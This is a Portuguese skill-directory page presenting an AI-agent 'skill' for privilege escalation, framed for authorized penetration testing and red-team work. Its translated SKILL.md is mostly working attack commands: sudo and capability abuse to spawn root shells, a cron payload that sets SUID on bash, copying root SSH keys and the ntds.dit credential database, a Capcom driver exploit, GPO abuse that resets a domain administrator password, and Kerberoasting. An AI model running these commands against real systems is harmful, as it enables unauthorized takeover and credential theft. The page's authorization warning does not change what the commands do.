Pular para o conteúdo
Skillpedia
Segurança48 mil · #3884

privilege-escalation-methods

Ensina seu agente a obter acesso total a sistemas. Ele descreve métodos para ganhar permissões elevadas em computadores.

O que ela faz

Esta ferramenta ajuda a obter acesso de administrador em sistemas Linux e Windows. Ela ensina métodos para transformar um acesso simples em um acesso com controle total.

Quando usar

  • ✓Ao testar a segurança de um sistema com permissão.
  • ✓Em operações de 'red team' para simular ataques.
  • ✓Para aprender sobre segurança de sistemas.

Exemplo do que pedir para a IA

“Quais são os métodos para ganhar acesso de administrador no Linux usando sudo?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/privilege-escalation-methods/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/privilege-escalation-methods/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta lista comandos e técnicas que exploram configurações incorretas ou falhas em sistemas Linux e Windows. Ela mostra como usar ferramentas específicas para conseguir permissões elevadas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill privilege-escalation-methods

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/privilege-escalation-methods/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Métodos de Escalação de Privilégios

Propósito

Fornecer técnicas abrangentes para escalar privilégios de um usuário com privilégios baixos para acesso root/administrador em sistemas Linux e Windows comprometidos. Essencial para a fase pós-exploração de testes de penetração e operações de equipe vermelha.

Entradas/Pré-requisitos

  • Acesso inicial de shell com privilégios baixos no sistema alvo
  • Kali Linux ou distribuição de teste de penetração
  • Ferramentas: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Compreensão dos modelos de privilégios do Windows/Linux
  • Para ataques AD: credenciais de usuário de domínio e acesso à rede ao DC

Saídas/Entregas

  • Acesso de shell root ou administrador
  • Credenciais e hashes extraídos
  • Mecanismos de acesso persistente
  • Comprometimento de domínio (para ambientes AD)

Técnicas Principais

Escalação de Privilégios no Linux

1. Abuso de Binários Sudo

Explore permissões sudo mal configuradas usando técnicas do GTFOBins:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abuso de Tarefas Agendadas (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abuso de Capacidades

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Rodando como Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Escalação de Privilégios no Windows

1. Impersonação de Token

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Abuso de Serviços

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abuso de SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abuso de SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abuso de GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Ataques ao Active Directory

1. Kerberoasting

# Usando Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request


…
Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar qualquer técnica. O uso sem autorização é ilegal.

Quais sistemas operacionais são cobertos?

A ferramenta cobre métodos para sistemas Linux e Windows.

O que significa 'escalar privilégios'?

Significa obter mais permissões do que você tem inicialmente em um sistema, como passar de um usuário comum para um administrador (root).

Detalhes

Descrição original do autor

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3884
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas